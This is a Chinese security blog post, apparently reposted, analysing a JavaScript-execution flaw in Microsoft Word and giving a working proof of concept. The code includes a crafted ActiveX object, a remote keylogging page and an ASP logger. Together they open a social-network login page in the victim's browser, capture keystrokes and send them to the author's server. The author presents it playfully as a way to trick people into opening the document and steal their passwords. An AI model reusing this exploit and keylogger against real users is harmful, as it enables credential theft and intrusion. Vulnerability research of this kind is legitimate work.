对MS word javascript execution的一些测试

关注

原创最新推荐文章于 2026-08-09 16:00:13 发布 696 阅读 AI 写同款· GEO 优化 ›

JavaScript中eval()为何必须禁用：安全、性能与工程实践深度解析 eval() 是 JavaScript 中一个看似便捷却极具破坏力的动态执行机制，其本质是在运行时触发完整编译流程，导致 V8 引擎放弃优化、GC 失效、调试中断、类型系统失明。从 XSS 漏洞利用到堆内存爆炸，从 DevTools 无法追踪到构建工具 tree-shaking 失败，eval() 的风险已远超‘不推荐’范畴，而属于现代前端工程中的明确禁用项。本文结合 V8 源码级原理、真实线上事故（如用户输入注入 fetch 窃取 token）、内存泄漏实测数据（42MB 堆增长）及可落地替代方案（JSO 阅读详情

作者：余弦
来源：0×37 Security

Microsoft word javascript execution原文：http://marc.info/?l=bugtraq&m=121121432823704&w=2，hi群内讨论过。可以得出一些结论：

1、由于安装Q313675 安全修补程序后禁用ActiveX 内联数据流功能，使得利用JS直接创建ActiveX对象而执行恶意codz的方法不可行。如下code：

<html>
<OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389><param name=url value="javascript:document.write('&lt;script src=http://www.0x37.com/doc.js&gt;&lt;/script&gt;')"></OBJECT>

这个远程的doc.js文件能力有限。但是弹出对话框或一个新窗口还是可以的。

2、漏洞其实出现在xml文件上，类似于上面这样构造后的html用word打开后另存为xml时，里面的数据都被相应转换为xml格式。然而xml里的<w:ocx w:data=”……” />却可以引发JS的执行。问题就出现在这。而无论后缀是.doc或.rtf或.xml都将以word默认方式打开，此时word充当一个解释器，<w:ocx w:data=”……” />内的数据被解释执行而引发JS。

3、AE24FDAE-03C6-11D1-8B76-0080C744F389是mshtml.dll的classid。要找出漏洞起因与修补这个漏洞这些信息还是有价值的。

既然这个JS能力有限，那就来点好玩的，如这里提到过的：http://www.0×37.com/post/15.html。下面这个POC是这样进行的：当用户打开我们恶意构造后的word文档doc.doc后，会弹出校内网的首页http://www.xiaonei.com（拿它做实验，完全是出于我的惯性……）。接着我们就可以记录用户在这个页面上的键盘记录了:)。也许密码就直接抓过来了（假如其他用户和我一样，打开校内网就直接快速输入密码然后Enter，这个完全是习惯……）。

doc.html代码如下：

<html>
<OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389><param name=url value="javascript:x=open('http://www.xiaonei.com/');setInterval (function(){try{x.frames[0].location={toString:function(){return%20′http://www.0×37.com/Project/poc/docshell.html’;}}}catch(e){}},3000);void(1);”></OBJECT>
HI

按照http://marc.info/?l=bugtraq&m=121121432823704&w=2这里的方法生成doc.doc文档（这就是那个邪恶的文档，改个好名字，方便骗人打开）。

远程的docshell.html代码如下：

<html>
<body bgcolor="#333333">
<div id="o"></div>
<input type=text id="x" style="width:0;height:0">
<script>
var _x=false;
if(window.XMLHttpRequest){
_x=new XMLHttpRequest();
}else if(window.ActiveXObject){
_x=new ActiveXObject("Msxml2.XMLHTTP");
if(!_x){_x=new ActiveXObject("Microsoft.XMLHTTP");}
}
document.onkeydown=function(e){
if(!e)e=window.event;
try{
tmp=(String.fromCharCode(e.which||e.keyCode));
_3or7("GET","http://www.0×37.com/Project/poc/docshell.asp?tmp=”+tmp,null);
}catch(ex){}
}
function _3or7(_m,_s,_a){
_x.open(_m,_s,false);
_x.send(_a);
return _x.responseText;
}
setInterval(function(){try{document.getElementById(’x').focus();}catch(e){}},100);
focus();
</script>
</body>
</html>

而远程的docshell.asp代码如下：

<%
ip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If ip="" Then
ip=Request.ServerVariables("REMOTE_ADDR")
End If
tmp=Request.QueryString("tmp")
'Response.write(tmp)
filename="docshell.txt"
Set fso=Server.CreateObject("Scripting.FileSystemObject")
set file=fso.OpenTextFile(server.mappath(filename),8,true)
file.write(ip+">> "+tmp+chr(13))
file.close
set file=nothing
set fso=nothing
%>

接着就可以在这http://www.0×37.com/Project/poc/docshell.txt看到我们键盘记录的结果:)。完整文件在这：http://www.0×37.com/Project/poc/wordjs.rar。不过这个键盘记录还是有缺陷的，本想结合这里http://www.0×37.com/post/15.html提到的方法来构造更邪恶的代码，可是并不顺利……那以后再说了:)。现在就等关于这个漏洞的进一步消息